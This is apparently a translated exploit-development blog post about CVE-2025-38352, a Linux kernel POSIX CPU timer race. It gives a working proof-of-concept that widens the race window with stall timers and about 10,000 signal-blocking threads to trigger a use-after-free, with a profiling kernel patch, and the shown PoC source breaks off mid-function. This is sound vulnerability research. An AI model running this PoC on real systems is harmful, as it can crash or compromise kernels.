白帽故事 · 2026年1月17日

【2】CVE-2025-38352 – 在不打内核补丁的情况下扩展竞争窗口

第一部分中,笔者逐步讲解了如何构建触发该漏洞的概念验证(PoC)。但很不幸,它存在几个问题:

  1. 如果没有引入那个通过人工增加500毫秒延迟来扩展竞争窗口的内核补丁,它几乎无法成功。
  2. 计时器设置本身不够“干净”。肯定有更好的方法来消耗受控数量的CPU时间,使得计时器能在未来的可控时刻触发。

在这篇文章中,笔者将详细说明如何解决上述两个问题,并最终得到一个无需任何内核补丁即可工作的PoC。

PoC + 演示

一如既往,如果只想看PoC,链接如下。

https://github.com/farazsth98/poc-CVE-2025-38352/blob/main/poc.c

还有一个简短的演示(未开启KASAN)! 😄

demo

作为参考,QEMU命令也展示如下:

qemu-system-x86_64 \
    -enable-kvm \
    -cpu host \
    -smp 4 \
    -kernel ./bzImage \
    -initrd ./initramfs.tgz \
    -nographic \
    -append "console=ttyS0 kgdbwait kgdboc=ttyS1,115200 oops=panic panic=0 nokaslr" \
    -m 3G \
    -netdev user,id=mynet0 \
    -device virtio-net-pci,netdev=mynet0 \
    -s

要点回顾

请先阅读本系列的第一部分再继续!

在之前的PoC中,笔者在REAPEE线程内消耗CPU时间以触发漏洞的方式如下:

void reapee(void) {
    // [ ... ]

    struct itimerspec ts = {
        .it_interval = {0, 0},
        .it_value = {
            .tv_sec = 0,
            .tv_nsec = wait_time, // 自定义的等待时间
        },
    };

    // 等待父进程附加
    pthread_barrier_wait(&barrier);

    SYSCHK(timer_settime(timer, 0, &ts, NULL));

    // 使用一些CPU时间以确保计时器能正确触发
    for (int i = 0; i < 1000000; i++);

    // 希望我们消耗了足够的CPU时间,能在`exit_notify()`将进程僵尸化
    // 并唤醒父进程之后触发计时器
    return;
}

这里的wait_time通过argv提供,而for循环只是随机设定某个能工作的值。基本上,在设置计时器之后,对消耗多少CPU时间的控制为零。

我们能改进吗?当然可以!

CPU调度器内部机制(非深度解析)

为了理解如何控制线程消耗的CPU时间,笔者不得不半深入地研究CPU调度器、POSIX计时器以及不同类型CPU计时器(CPUCLOCK_PROFCPUCLOCK_VIRTCPUCLOCK_SCHED)的工作原理。

关键要点总结

笔者不会阐述得太深(这值得专门写一篇博文),但总结一些关键要点如下(总结可能并非100%准确):

  1. CPU调度器每1 / CONFIG_HZ秒触发一次中断。此时会运行run_posix_cpu_timers()
    • 通常,CONFIG_HZ=1000,所以CPU调度器的“节拍”(tick)每1毫秒发生一次。
      • 至少Android和Ubuntu内核是这种情况。
  2. 有三种类型的CPU时钟计时器:
    • CPUCLOCK_PROF – 计算用户态和内核态消耗的总CPU时间。
    • CPUCLOCK_VIRT – 仅计算用户态消耗的总CPU时间。
    • CPUCLOCK_SCHED – 计算实际在CPU上运行的总时间。对于可以被调度器调度进出CPU的线程很重要。
  3. 计时器到期检查总是在一个节拍边界上进行,因此到期检查最多每1 / CONFIG_HZ秒发生一次。
  4. CPUCLOCK_PROFCPUCLOCK_VIRT时钟只有在其消耗完1 / CONFIG_HZ的CPU时间后才会被更新
    • CPUCLOCK_SCHED是特殊情况。它每纳秒更新一次
    • 这意味着CPUCLOCK_SCHED通常用于需要比1毫秒更精细粒度的情况进行性能分析。
  5. 为了触发漏洞,理论上我们可以使用三种时钟类型中的任何一种。
    • 笔者的PoC为计时器使用了CLOCK_THREAD_CPUTIME_ID,这是一种CPUCLOCK_SCHED计时器。
    • 使用这种特定计时器类型有很好的理由,本文稍后会解释!

这应该是理解后续部分所需的最低限度的信息。

分析CPU时间消耗

为了消耗受控数量的CPU时间,我们需要实际知道某些具体工作负载消耗了多少时间。

对于任何性能分析,我们需要能够在两个或多个独立的执行点获取(被分析线程)消耗的总CPU时间。这可以通过使用clock_gettime系统调用来实现。

对于我们要分析的“具体工作负载”,笔者选择了getpid系统调用,因为它易于使用且消耗的CPU时间极少。

现在,毫不奇怪的是,clock_gettime系统调用本身也消耗CPU时间,所以我们必须在分析代码中考虑这个开销。

为此,以下是一些概念验证代码,可用于准确计算getpid系统调用消耗多少CPU时间(点击此处查看完整PoC):

#define NUM_SAMPLES 100000
static long int clock_gettime_avg = 0;

// 如果`NUM_SAMPLES`太大可能会溢出,但对于简单的系统调用,
// 这样用没问题
long int getpid_avg_cputime_used() {
    struct timespec *ts = malloc(NUM_SAMPLES * sizeof(struct timespec));

    if (clock_gettime_avg == 0) {
        for (int i = 0; i < NUM_SAMPLES; i++) {
            syscall(__NR_clock_gettime, CLOCK_THREAD_CPUTIME_ID, &ts[i]);
        }

        long int total_nsec = 0;

        for (int i = 0; i < NUM_SAMPLES-1; i++) {
            long int time_taken = (long int)(ts_to_ns(&ts[i + 1]) - ts_to_ns(&ts[i]));
            total_nsec += time_taken;
        }

        clock_gettime_avg = total_nsec / (NUM_SAMPLES-1);
    }

    for (int i = 0; i < NUM_SAMPLES; i++) {
        syscall(__NR_clock_gettime, CLOCK_THREAD_CPUTIME_ID, &ts[i]);

        // 在这里执行你要测量的操作
        syscall(__NR_getpid);
    }

    long int total_nsec = 0;
    for (int i = 0; i < NUM_SAMPLES-1; i++) {
        long int time_taken = (long int)(ts_to_ns(&ts[i + 1]) - ts_to_ns(&ts[i])) - clock_gettime_avg;
        total_nsec += time_taken;
    }

    free(ts);
    return total_nsec / (NUM_SAMPLES-1);
}

以下是笔者QEMU虚拟机(4个核心,3GB RAM)的一些输出:

/ # /poc
clock_gettime avg: 489 ns
getpid avg: 139 ns
/ # /poc
clock_gettime avg: 495 ns
getpid avg: 143 ns
/ # /poc
clock_gettime avg: 491 ns
getpid avg: 133 ns
/ # /poc
clock_gettime avg: 495 ns
getpid avg: 130 ns

显然,PoC使用的是平均值,所以时间并非100%准确,但任何系统调用的CPU时间消耗在多次运行中都不会保持一致,所以这个平均值已经足够好了(笔者是这么认为的……如果你有更好的计算方法,请告诉我!)

第一项改进 – 受控的CPU时间消耗

我们可以对PoC进行的第一项改进是,通过以下方式让REAPEE线程以更可控的方式消耗CPU时间:

  1. 使用分析代码获取getpid系统调用消耗的平均CPU时间。
  2. 设置计时器在消耗1毫秒(1,000,000纳秒)CPU时间后触发。
  3. 循环运行getpid系统调用足够多次,以消耗接近1毫秒的CPU时间(但关键是,不能全部消耗!)。

此时,任何剩余的CPU时间将被内核在do_exit() -> exit_notify()中消耗,如果getpid系统调用循环消耗的CPU时间刚好够用,计时器就应该在exit_notify()REAPEE线程僵尸化并唤醒回收父进程之后触发,并调用handle_posix_cpu_timers()

可以通过分析do_exit() -> exit_notify()消耗多少CPU时间(通过打内核补丁)来提高上述第3步的准确性,但笔者目前还没有进行这一步。

以下是在PoC中展示的改进:

// 获取`getpid()`系统调用的平均CPU时间消耗,
// 便于稍后用于触发
getpid_avg = getpid_cpu_usage();

// [ ... ]

// 在启动计时器后,现在消耗刚好足够的CPU时间,
// 但不要触发任何计时器
for (int i = 0; i < ((ONE_MS_NS / getpid_avg) - syscall_loop_times); i++) {
    syscall(__NR_getpid);
}

// 这个`return`将在内核中触发`do_exit()`,希望这能
// 在`exit_notify()`唤醒利用父进程中的`waitpid()`之后触发计时器
return;

在上面的PoC中,syscall_loop_times是一个变量,初始值为20,每次尝试时递增,在笔者的PoC中上限为SYSCALL_LOOP_TIMES_MAX=150。由于消耗的CPU时间量并不总是准确的,笔者的最终PoC尝试每次重试都增加这个值,以确保竞争一定能发生。

这一改动极大地提高了handle_posix_cpu_timers()exit_notify()唤醒回收父进程之后运行的可能性。

此外,它还使PoC与系统无关,因为不同的系统对于相同的工作负载会消耗不同数量的CPU时间。

扩展竞争窗口 – 第一部分

现在来解决第二个(可以说更烦人的)问题:如何扩展竞争窗口?

使用更多计时器

我们能进行的第一个改进应该很明显。请记住,handle_posix_cpu_timers()会将所有触发的计时器收集到一个局部的firing列表中,然后遍历它们(代码简化如下):

static void handle_posix_cpu_timers(struct task_struct *tsk)
{
    // Faith: 局部`firing`列表
    LIST_HEAD(firing);

    if (!lock_task_sighand(tsk, &flags))
        return;

    do {
        // [ ... ]
        // Faith: 收集所有线程和进程计时器
        check_thread_timers(tsk, &firing);
        check_process_timers(tsk, &firing);
    } while (!posix_cpu_timers_enable_work(tsk, start));

    // [ ... ]
    unlock_task_sighand(tsk, &flags);

    // Faith: 遍历`firing`列表并触发计时器
    list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
        // [ ... ]
    }
}

笔者的旧PoC只使用了一个计时器,这意味着firing列表只被遍历一次。在我们释放计时器之前用于竞赛的时间不多,对吧?

我们可以通过做两件事来改进:

  1. firing列表填充到其最大容量。
  2. firing列表中的最后一个计时器成为我们的目标UAF计时器。

现在,handle_posix_cpu_timers()先调用check_thread_timers(),然后才是check_process_timers()。由于计时器是插入到firing列表的尾部,我们无法利用进程计时器,因为它们都将被插入到UAF计时器之后。

那我们只剩下线程计时器。我们能向firing列表中插入多少个呢?

static void check_thread_timers(/* ... */)
{
    struct posix_cputimers *pct = &tsk->posix_cputimers;
    u64 samples[CPUCLOCK_MAX];
    // [ ... ]

    task_sample_cputime(tsk, samples);
    collect_posix_cputimers(pct, samples, firing);
    // [ ... ]
}

static void collect_posix_cputimers(/* ... */)
{
    // [ ... ]
    for (i = 0; i < CPUCLOCK_MAX; i++, base++) {
        base->nextevt = collect_timerqueue(&base->tqhead, firing,
                            samples[i]);
    }
}

#define MAX_COLLECTED   20

static u64 collect_timerqueue(/* ... */)
{
    // [ ... ]
    while ((next = timerqueue_getnext(head))) {
        // [ ... ]
        /* 限制一次到期的计时器数量 */
        if (++i == MAX_COLLECTED || now < expires)
            return expires;

        // [ ... 将计时器添加到`firing`列表尾部 ... ]
    }

    return U64_MAX;
}

在上面的代码中,CPUCLOCK_MAX表示CPU调度器内部机制一节中提到的三种时钟类型,因此设置为3。

另外请注意,上面collect_timerqueue()中的MAX_COLLECTED检查实际上是存在“差一错误”(off-by-one)的。所以,不是允许每个时钟类型最多收集20个计时器,而是只收集最多19个计时器。

因此,综合来看,我们最多可以在触发列表中收集19 * 3 = 57个计时器。最棒的是,我们很幸运:CPUCLOCK_SCHED(这是我们创建UAF计时器使用的时钟类型)是最后一个时钟类型!

#define CPUCLOCK_PROF       0
#define CPUCLOCK_VIRT       1
#define CPUCLOCK_SCHED      2
#define CPUCLOCK_MAX        3

在笔者的PoC中,只使用了19个CPUCLOCK_SCHED类型的计时器,因为最终足以扩展竞争窗口来触发漏洞。

然而,由于利用很可能需要使用跨缓存(cross-cache)技术将被释放的struct k_itimer重新分配为其他东西,笔者后来很可能最终会在这里使用全部57个计时器。这也是笔者在PoC中使用CPUCLOCK_SCHED类型计时器的一个原因,因为它给了我们最大的潜在竞争窗口。

同时触发所有计时器

要同时触发所有计时器,我们可以利用一个事实:CLOCK_THREAD_CPUTIME_ID类型的计时器只有在创建该计时器的线程消耗CPU时间时才会前进。

因此,要同时触发所有19个计时器,我们只需要做以下事情:

  1. REAPEE线程上创建所有19个CPU计时器(18个“拖延”计时器 + 我们的UAF计时器),然后使其进入睡眠状态。
    • 确保这不是忙等待睡眠,这样它就不会消耗CPU时间。
    • 笔者使用pthread_barrier_t来实现这一点。
  2. 在另一个线程上,调用timer_settime()来启动所有计时器,设置在消耗1,000,000纳秒(1毫秒)的CPU时间后触发。
    • 由于这个线程没有创建计时器,计时器根本不会前进(因为只有处于睡眠状态的REAPEE线程才能推进这些计时器)。
  3. 我们必须确保将18个“拖延”计时器设置为在消耗1,000,000 - 1纳秒的CPU时间后触发。
    • UAF计时器仍然必须在消耗1,000,000纳秒的CPU时间后触发。
    • 这一步确保UAF计时器在firing列表的最后一个,因为触发列表是按到期时间排序的。

完成上述操作后,我们可以唤醒REAPEE线程,并使用前面部分的改进来消耗刚好少于1毫秒的CPU时间,以在正确的时间触发handle_posix_cpu_timers()

效果如何?

为了弄清楚handle_posix_cpu_timers()中遍历firing列表到底消耗了多少CPU时间,笔者使用了以下内核补丁。笔者确保不会意外地扩展竞争窗口(笔者的最终PoC在没有这个补丁的情况下也能工作)。

补丁的重要部分如下所示。它会分析遍历firing列表并触发每个计时器所花费的时间:

@@ -1356,6 +1362,10 @@ static void handle_posix_cpu_timers(struct task_struct *tsk)
     */
    unlock_task_sighand(tsk, &flags);

+   // Faith: 分析处理这些计时器所花费的时间
+   if (profile)
+       profile_t0 = ktime_get_mono_fast_ns();

    /*
     * Now that all the timers on our list have the firing flag,
     * no one will touch their list entries but us.  We'll take
@@ -1387,6 +1397,13 @@ static void handle_posix_cpu_timers(struct task_struct *tsk)
        rcu_assign_pointer(timer->it.cpu.handling, NULL);
        spin_unlock(&timer->it_lock);
    }

+   // Faith: 分析处理这些计时器所花费的时间
+   if (profile) {
+       profile_t1 = ktime_get_mono_fast_ns();
+       printk("handle_posix_cpu_timers: delta_ns=%llu\n",
+           (unsigned long long)(profile_t1 - profile_t0));
+   }

用于测试此性能分析代码的PoC可以在这里看到。请注意,这个分析PoC还包含了一些进一步扩展竞争窗口的改动(笔者将在下一节讨论它们)。

PoC的重要部分如下(请点击链接):

  1. REAPEE线程创建19个计时器并进入睡眠
  2. 主线程启动所有19个计时器并唤醒REAPEE线程
  3. REAPEE线程消耗足够多的CPU时间来触发handle_posix_cpu_timers()

运行此PoC(不包括进一步增加竞争窗口的额外改动)后的dmesg日志如下:

~ $ /poc
[   10.543155] handle_posix_cpu_timers: delta_ns=3140
~ $ /poc
[   10.964147] handle_posix_cpu_timers: delta_ns=4990
~ $ /poc
[   11.404146] handle_posix_cpu_timers: delta_ns=6000

平均而言,在firing列表中遍历19个计时器所花费的时间大约在4000-7000纳秒之间。

根据笔者的测试,这仍然不足以触发漏洞:

  1. 要在回收僵尸化的REAPEE线程后,用我们的timer_delete()命中这个竞争窗口仍然极其困难。
  2. 即使我们赢得了竞争,也几乎没有时间让RCU释放(RCU free)发生。

因此,我们需要想办法进一步扩展竞争窗口……纳秒级别是不够的,我们需要毫秒级别!

扩展竞争窗口 – 第二部分

在较高层面上,我们还有两个选项可以扩展竞争窗口:

  1. 列表遍历过程会尝试获取timer->it_lock,以及稍后的task->sighand->siglock。如果另一个CPU能在正确的时刻长时间持有这些锁,我们就可以扩展竞争窗口。
  2. 触发计时器涉及发送信号、重新启动计时器以及许多其他操作。也许我们可以研究该流程,以找出扩展竞争窗口的方法?

方案 1 – 锁冲突

笔者审计了所有获取timer->it_locktask->sighand->lock的代码路径,以确定是否有任何好方法可以长时间持有这些锁。然而,这种方法存在一些问题。

两个锁的第一个问题都与较短的竞争窗口有关。我们不仅需要在竞争窗口内获取任何一个锁,而且还需要在firing列表即将获取该特定计时器/任务的锁时获取它。这在4000-7000纳秒的竞争窗口内是极其困难的。

第二个问题是,笔者找不到任何长时间/受控时间持有这些锁的代码路径。例如,尽管timer_gettime()会调用copy_to_user(),但它会在调用之前释放timer->it_lock。总的来说,所有代码路径获取和释放锁都非常快。

然而,笔者不久前从Jann Horn的一篇博文中学到了一些东西——像Android内核这样的可抢占内核(preemptible kernels)可以在任何时间点抢占代码,除非代码运行在禁用抢占的上下文中。

了解这一点后,我能以某种方式使timer->it_lock / task->sighand->lock被另一个CPU上的任务获取,然后让该任务被抢占,从而使锁被长时间持有吗?

不幸的是,答案是否定的。这两个锁都是通过spin_lock()/spin_lock_irq()/spin_lock_irqsave()获取的,这些函数在持有锁期间会禁用抢占。

因此,锁冲突方案被明确排除。

方案 2 – 延长计时器触发过程

笔者花了一些时间审计cpu_timer_fire(),看看计时器触发逻辑是如何实现的。笔者主要寻找可以用户态控制迭代次数的循环。

函数complete_signal()引起了笔者的注意。它可以通过以下调用栈访问:

handle_posix_cpu_timers()
-> cpu_timer_fire()
-> posix_timer_queue_signal()
-> send_sigqueue()
-> complete_signal()

complete_signal()内部,笔者注意到两个while循环(代码简化如下):

static void complete_signal(int sig, struct task_struct *p, enum pid_type type)
{
    // [ ... ]
    // Faith: 如果指定了要发送信号的PID,并且该线程/进程接受此信号,就使用它
    if (wants_signal(sig, p))
        t = p;
    // Faith: 否则如果该PID不接受此信号,并且没有其他线程,
    //        则提前返回。
    else if ((type == PIDTYPE_PID) || thread_group_empty(p))
        return;
    else {
        // Faith: 遍历每个线程,直到找到一个接受此信号的线程
        t = signal->curr_target;
        while (!wants_signal(sig, t)) {
            t = next_thread(t);
            if (t == signal->curr_target)
                // Faith: 没有找到接受此信号的线程,直接返回
                return;
        }
        signal->curr_target = t;
    }

    // Faith: 如果检测到致命信号(以及其他一些条件)
    if (sig_fatal(p, sig) &&
        (signal->core_state || !(signal->flags & SIGNAL_GROUP_EXIT)) &&
        !sigismember(&t->real_blocked, sig) &&
        (sig == SIGKILL || !p->ptrace)) {
        // [ ... ]
        // Faith: 此处的代码会遍历此线程组中的每个线程,
        //        并向每个线程发送一个`SIGKILL`来杀死它。
        // Faith: 此处的代码会遍历此线程组中的每个线程,
        //        并向每个线程发送一个`SIGKILL`来杀死它。
    }
    // [ ... ]
}

在上面的代码中,有两个循环。

  1. 第一个while循环在我们让计时器发送信号但没有指定TID时进入。它将遍历线程组中的每个线程,直到找到一个没有阻塞此信号的线程(信号可以通过sigprocmask()阻塞)。
  2. 第二个循环被注释掉了,但它只会在要发送的信号被认为是致命信号时进入(再加上一些其他条件)。这实际上会杀死线程组中的每个线程。

现在,笔者认为第二个循环实际上无法使用,因为它会杀死线程组中的每个线程。但笔者不想之后自打嘴巴 😅 可能存在一种场景,多个进程可以同步起来,使它们的计时器在同一CPU上触发。在这种情况下,这些其他“无用”的进程可以被杀死,而不影响主要的利用进程,这可能使得第二个循环实际上可以利用。然而,笔者没有测试或验证这一点。

在笔者的PoC中,只使用了第一个while循环来扩展竞争窗口。那么,现在来看看如何实现这一点,好吗?

第二项改进 – 大量创建线程

从上面的complete_signal()来看,笔者看到它会遍历当前进程中的每个线程,直到找到一个“需要”该信号的线程。

那么,wants_signal()是如何实现的呢?(代码简化如下):

static inline bool wants_signal(int sig, struct task_struct *p)
{
    if (sigismember(&p->blocked, sig))
        return false;

    // [ ... ]
}

实际上,wants_signal()中还有更多条件,但它首先检查的是线程是否阻塞了计时器试图发送的信号。

->blocked字段包含一个要阻塞的信号的位图。可以使用sigprocmask()SIG_BLOCK向其中添加信号(代码简化如下):

int sigprocmask(int how, sigset_t *set, sigset_t *oldset)
{
    // [ ... ]
    switch (how) {
    case SIG_BLOCK:
        sigorsets(&newset, &tsk->blocked, set);
        break;
    // [ ... ]
    }

    __set_current_blocked(&newset);
    return 0;
}

因此,了解以上信息后,我们就有办法强制内核为我们18个“拖延”计时器中的每一个遍历这个while循环任意多次。我们只受限于我们可以创建多少线程。

实现这一点的步骤如下:

  1. 在利用子进程中创建任何线程之前,通过sigprocmask()阻塞SIGUSR1
    • 利用子进程是包含REAPEE线程的那个进程。
  2. 创建REAPEE线程。创建计时器时,确保计时器的sigevent.sigev_notify设置为SIGEV_SIGNAL
    • 这将尝试将信号发送给当前线程组中任何接受该信号的线程。
  3. 在利用子进程中尽可能多地创建线程(笔者使用了NUM_SLEEP_THREADS=10000)。
    • 这些线程(以及上面的REAPEE线程)将继承利用子进程中被阻塞的SIGUSR1
  4. 像往常一样继续进行触发漏洞的操作。

一旦计时器触发,handle_posix_cpu_timers()中的firing列表遍历过程将为每个计时器调用一次complete_signal(),而每个计时器将在complete_signal()内部的while循环中遍历NUM_SLEEP_THREADS=10000次后才返回。

笔者已经将此功能实现在了之前提到的同一个分析PoC中。使用这第二项改进运行此程序会产生以下输出:

~ $ /poc
[    2.386969] handle_posix_cpu_timers: delta_ns=4895749
~ $ /poc
[    3.101971] handle_posix_cpu_timers: delta_ns=3904588
~ $ /poc
[    3.679125] handle_posix_cpu_timers: delta_ns=4052398

巨大的改进!现在遍历firing列表所花费的时间在4,000,000-5,000,000纳秒(4-5毫秒)之间!这绝对足够的时间来:

  1. 在竞争窗口内命中timer_delete()
  2. 让RCU释放完成,从而触发UAF。

这样,PoC就可以在没有任何人工内核补丁的情况下触发竞争条件。

其他杂项改进与想法

笔者还对最终的PoC做了一些其他改进:

  1. 笔者在PoC中直接实现了重试逻辑,因此你可以直接运行/poc,而不是while true; do /poc; done
  2. 笔者在删除计时器前添加了1毫秒的睡眠。由于竞争窗口至少会开放3毫秒,这有助于确保timer_delete()确实落在竞争窗口内。

关于第三部分的计划?

撰写本文时,笔者确实计划继续研究此漏洞的利用。跨缓存在这里是非常可行的,这只是一个弄清楚我们何时赢得竞争与何时输掉竞争的问题。

然而,由于现在是假期,笔者需要一段时间才能完成这项工作。但请放心!这是一个非常好的漏洞,可以用来练习和提高笔者的漏洞利用开发技能,所以我有信心完成它! 😄

结论

一如既往,如果有任何问题,请不要犹豫,直接提问!

最终PoC

最终的PoC,以及内核分析器补丁(和笔者用于测试竞争窗口长度的分析PoC)都可以在笔者的Github仓库中找到:

https://github.com/farazsth98/poc-CVE-2025-38352

笔者也在下面放上演示和PoC。本篇内容到此结束!

demo

#define _GNU_SOURCE
#include <time.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <stdlib.h>
#include <err.h>
#include <sys/prctl.h>
#include <sched.h>
#include <linux/membarrier.h>
#include <sys/syscall.h>

#define SYSCHK(x) ({            \
    typeof(x) __res = (x);      \
    if (__res == (typeof(x))-1) \
      err(1, "SYSCHK(" #x ")"); \
    __res;                      \
})

#define NUM_SAMPLES 100000
#define NUM_TIMERS 18
#define ONE_MS_NS 1000000uLL
#define NUM_SLEEP_THREADS 10000
#define NUM_SLEEP_THREADS_KASAN 4500 // KASAN 的线程限制较小
#define SYSCALL_LOOP_TIMES_MAX 150

void pin_on_cpu(int i) {
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(i, &mask);
    sched_setaffinity(0, sizeof(mask), &mask);
}

void wait_for_rcu() {
    syscall(__NR_membarrier, MEMBARRIER_CMD_GLOBAL, 0);
}

static inline long long ts_to_ns(const struct timespec *ts) {
    return (long long)ts->tv_sec * 1000000000LL + (long long)ts->tv_nsec;
}

static long int clock_gettime_avg = 0;
static long int getpid_avg = 0;

// 如果`NUM_SAMPLES`太大可能会溢出,但对于简单的系统调用,
// 这样用没问题
long int getpid_cpu_usage() {
    struct timespec *ts = malloc(NUM_SAMPLES * sizeof(struct timespec));

     // 如果我们还没有`clock_gettime`的平均CPU时间消耗,现在就获取
    if (clock_gettime_avg == 0) {
        for (int i = 0; i < NUM_SAMPLES; i++) {
            syscall(__NR_clock_gettime, CLOCK_THREAD_CPUTIME_ID, &ts[i]);
        }

        long int total_nsec = 0;

        for (int i = 0; i < NUM_SAMPLES-1; i++) {
            long int time_taken = (long int)(ts_to_ns(&ts[i + 1]) - ts_to_ns(&ts[i]));
            total_nsec += time_taken;
        }

        clock_gettime_avg = total_nsec / (NUM_SAMPLES-1);
    }

    for (int i = 0; i < NUM_SAMPLES; i++) {
        syscall(__NR_clock_gettime, CLOCK_THREAD_CPUTIME_ID, &ts[i]);
        syscall(__NR_getpid);
    }

    long int total_nsec = 0;
    for (int i = 0; i < NUM_SAMPLES-1; i++) {
        long int time_taken = (long int)(ts_to_ns(&ts[i + 1]) - ts_to_ns(&ts[i])) - clock_gettime_avg;
        total_nsec += time_taken;
    }

    free(ts);
    return total_nsec / (NUM_SAMPLES-1);
}

/* 全局变量用于利用设置 开始 */
pthread_barrier_t barrier;

// 用于拖延`handle_posix_cpu_timers()`以扩展竞争窗口的计时器
timer_t stall_timers[NUM_TIMERS];
timer_t uaf_timer;

// 将触发计时器处理的线程,同时也是将被利用父进程回收的线程
pthread_t reapee_thread;

int e2w[2]; // exploit 进程到 wrapper 进程的通信管道文件描述符
int c2p[2]; // 子进程到父进程的通信管道文件描述符
int p2c[2]; // 父进程到子进程的通信管道文件描述符
int stall_fds[2]; // 用于睡眠函数的阻塞管道文件描述符

// 循环执行`getpid()`系统调用以浪费CPU时间的减少次数
int syscall_loop_times = 20;
int retry_count = 0;
/* 全局变量用于利用设置 结束 */

void reapee_func(void) {
    // 固定在与睡眠线程相同的CPU上
    pin_on_cpu(2);
    struct sigevent sev = {0};
    sev.sigev_notify = SIGEV_SIGNAL;
    sev.sigev_signo = SIGUSR1;
    char m;

    prctl(PR_SET_NAME, "REAPEE");

    // 将此线程的TID发送给父进程
    pid_t tid = (pid_t)syscall(SYS_gettid);
    SYSCHK(write(c2p[1], &tid, sizeof(pid_t)));

    // 等待父进程附加并继续
    pthread_barrier_wait(&barrier); // barrier 1

    // 创建最大数量的计时器减去一个
    for (int i = 0; i < NUM_TIMERS; i++) {
        SYSCHK(timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &stall_timers[i]));
    }

    // 创建UAF计时器作为最后一个计时器
    SYSCHK(timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &uaf_timer));

    // 等待主线程启动计时器。这是为了确保
    // 此线程不会使用CPU时间来启动计时器。
    pthread_barrier_wait(&barrier); // barrier 2
    pthread_barrier_wait(&barrier); // barrier 3

    // 现在就浪费刚好足够的CPU时间,但不要触发任何计时器
    for (int i = 0; i < ((ONE_MS_NS / getpid_avg) - syscall_loop_times); i++) {
        syscall(__NR_getpid);
    }

    // 这个`return`将在内核中触发`do_exit()`,希望这能
    // 在`exit_notify()`唤醒利用父进程中的`waitpid()`之后触发计时器
    return;
}

void sleep_func(void) {
    // 与 REAPEE 线程相同的CPU
    pin_on_cpu(2);
    char m;

    prctl(PR_SET_NAME, "SLEEPER");

    // 阻塞并睡眠,不使用CPU
    read(stall_fds[0], &m, 1);
}

int main(int argc, char *argv[]) {
    // wrapper 进程的循环
    while (1) {
        // wrapper 进程设置
        printf("Wrapper: try %d\n", ++retry_count);
        SYSCHK(pipe(e2w));
        pid_t exploit_pid = SYSCHK(fork());

        if (exploit_pid) {
            // wrapper 进程(在此固定CPU无关紧要)
            char m;
            close(e2w[1]);

            // 阻塞读,直到重试
            int read_count = read(e2w[0], &m, 1);

            // 如果 read_count > 0,重试
            if (read_count == 0) break;

            // 减少下一次重试的循环次数,但
            // 上限为 SYSCALL_LOOP_TIMES_MAX
            syscall_loop_times++;
            syscall_loop_times %= SYSCALL_LOOP_TIMES_MAX+1;
            syscall_loop_times = syscall_loop_times == 0 ? 20 : syscall_loop_times;

            // 关闭管道以便可以重新创建
            close(e2w[0]);

            // 等待 exploit 进程退出
            waitpid(exploit_pid, NULL, __WALL);
        } else {
            // exploit 进程
            char m;
            close(e2w[0]);

            // 父进程和子进程设置
            // 使用管道在父进程和子进程之间通信
            SYSCHK(pipe(c2p));
            SYSCHK(pipe(p2c));

            // 获取`getpid()`系统调用的平均CPU时间消耗,
            // 便于稍后用于触发
            getpid_avg = getpid_cpu_usage();

            pid_t pid = SYSCHK(fork());

            if (pid) {
                // exploit 父进程
                pin_on_cpu(1);
                char m;
                close(c2p[1]);
                close(p2c[0]);

                prctl(PR_SET_NAME, "EXPLOIT_PARENT");

                // 接受子进程中 REAPEE 线程的 TID
                pid_t tid;
                SYSCHK(read(c2p[0], &tid, sizeof(pid_t)));

                // 附加到 REAPEE 线程并继续执行它
                SYSCHK(ptrace(PTRACE_ATTACH, tid, NULL, NULL));
                SYSCHK(waitpid(tid, NULL, __WALL));
                SYSCHK(ptrace(PTRACE_CONT, tid, NULL, NULL));

                // 向子进程发出信号,表示我们已附加并继续执行
                SYSCHK(write(p2c[1], &m, 1));

                // 现在回收 REAPEE 线程。这将阻塞并等待,
                // 直到 REAPEE 线程能够通过`exit_notify()`并
                // 唤醒此父进程。
                SYSCHK(waitpid(tid, NULL, __WALL));

                // 此时,如果UAF计时器在正确的时间触发,REAPEE 线程
                // 将在其`tsk->exit_state`设置为`EXIT_ZOMBIE`时被回收。
                //
                // 让子进程知道 REAPEE 已被回收,以便它可以删除
                // 计时器。
                SYSCHK(write(p2c[1], &m, 1));

                // 让子进程删除并释放计时器,以及
                // 所有线程再退出
                SYSCHK(read(c2p[0], &m, 1));

                // 向 wrapper 进程发出信号以重试并退出
                // TODO exploit: 在此处找出如何检测是否触发了UAF
                SYSCHK(write(e2w[1], &m, 1));

                // 等待子进程退出后再退出
                waitpid(pid, NULL, __WALL);
                close(e2w[1]);
                close(c2p[0]);
                close(p2c[1]);
                exit(0);
            } else {
                // exploit 子进程
                pin_on_cpu(0);
                char m;
                close(c2p[0]);
                close(p2c[1]);

                // 睡眠线程阻塞用的管道文件描述符
                SYSCHK(pipe(stall_fds));

                // 阻塞 SIGUSR1,后续线程也会继承此阻塞
                sigset_t mask;
                sigemptyset(&mask);
                sigaddset(&mask, SIGUSR1);
                sigprocmask(SIG_BLOCK, &mask, NULL);

                prctl(PR_SET_NAME, "EXPLOIT_CHILD");
                pthread_barrier_init(&barrier, NULL, 2);

                // 根据KASAN与否更改此值
                int num_sleep_threads = NUM_SLEEP_THREADS;
                pthread_t sleep_threads[num_sleep_threads];

                SYSCHK(pthread_create(&reapee_thread, NULL, (void*)reapee_func, NULL));

                for (int i = 0; i < num_sleep_threads; i++) {
                    int ret = pthread_create(&sleep_threads[i], NULL, (void*)sleep_func, NULL);
                    if (ret != 0) {
                        // 如果达到此条件,请更改上面的`num_sleep_threads`
                        printf("Failed on thread %d\n", i+1);
                        num_sleep_threads = i;
                        break;
                    }
                }

                // 等待所有线程创建并进入睡眠
                usleep(10 * 1000);

                // 父进程附加并继续后向我们写入,使用
                // barrier 来让 REAPEE 线程现在继续执行
                SYSCHK(read(p2c[0], &m, 1));
                pthread_barrier_wait(&barrier); // barrier 1

                // 等待 REAPEE 线程创建计时器
                pthread_barrier_wait(&barrier); // barrier 2

                // 现在启动计时器,确保前18个在
                // UAF计时器之前
                struct itimerspec ts = {
                    .it_interval = {0, 0},
                    .it_value = {
                        .tv_sec = 0,
                        .tv_nsec = ONE_MS_NS - 1,
                    },
                };

